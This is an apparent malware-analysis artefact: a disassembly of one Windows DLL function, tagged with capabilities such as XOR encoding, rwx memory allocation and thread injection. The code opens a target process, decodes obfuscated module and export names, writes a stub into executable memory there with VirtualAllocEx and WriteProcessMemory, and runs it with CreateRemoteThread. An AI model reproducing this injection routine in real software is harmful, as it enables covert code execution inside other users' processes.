Function at 0x1800014b8
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov sil, r8b
mov r14, rdx
mov r8d, ecx
mov edi, ecx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea r9, [rax - 1]
cmp r9, 0xfffffffffffffffd
ja 0x1800016fc
movzx ecx, word [0x180003338]
lea r9, [rbp - 0x39]
movsd xmm0, qword [str.BKH_b]
xor r8d, r8d
mov word [rbp - 0x31], cx
mov cl, byte [0x18000333a]
mov byte [rbp - 0x2f], cl
movsd qword [rbp - 0x39], xmm0
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
mov al, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9], al
inc r9
cmp r8d, 0xb
jl 0x180001523
lea rdx, [rbp - 0x39]
mov ecx, edi
call sym.Stream.dll_get_module_base
mov r10, rax
test rax, rax
je 0x1800016fc
movups xmm0, xmmword [str.d_MmRRYQH]
mov cl, byte [0x180003358]
lea r9, [rbp - 0x2e]
mov byte [rbp - 0x16], cl
xor r8d, r8d
movups xmmword [rbp - 0x2e], xmm0
movsd xmm0, qword [0x180003350]
movsd qword [rbp - 0x1e], xmm0
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
mov al, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9], al
inc r9
cmp r8d, 0x19
jl 0x180001592
lea r8, [rbp - 0x2e]
mov rdx, r10
mov rcx, rbx
call sym.Stream.dll_get_module_export
mov rcx, rax
test rax, rax
je 0x1800016fc
mov eax, dword [0x180003328]
neg sil
movaps xmm0, xmmword [0x1800032e0]
mov esi, 0x4f
movaps xmm1, xmmword [0x1800032f0]
mov r9d, 0x3000
mov dword [rbp + 0x3f], eax
mov r8d, esi
movzx eax, word [0x18000332c]
mov word [rbp + 0x43], ax
mov al, byte [0x18000332e]
movaps xmmword [rbp - 9], xmm0
movaps xmm0, xmmword [0x180003300]
movaps xmmword [rbp + 0x17], xmm0
movsd xmm0, qword [0x180003320]
movaps xmmword [rbp + 7], xmm1
movaps xmm1, xmmword [0x180003310]
mov byte [rbp + 0x45], al
sbb eax, eax
movaps xmmword [rbp + 0x27], xmm1
and eax, 0x11
mov qword [rbp + 0x22], rcx
xor edx, edx
mov rcx, rbx
mov dword [rbp + 0x1c], eax
movsd qword [rbp + 0x37], xmm0
mov qword [rbp + 0x11], r14
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1800016fc
lea rax, [rbp + 0x7f]
mov r9d, esi
lea r8, [rbp - 9]
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800016fc
and qword [rsp + 0x30], 0
mov r9, rdi
and dword [rsp + 0x28], 0
xor r8d, r8d
and qword [rsp + 0x20], 0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1800016fc
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, esi
lea rcx, [rbp - 9]
xor edx, edx
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rcx, [rbp + 0x7f]
mov r9d, esi
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 9]
mov rcx, rbx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800016fc
mov al, 1
jmp 0x1800016fe
xor al, al
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret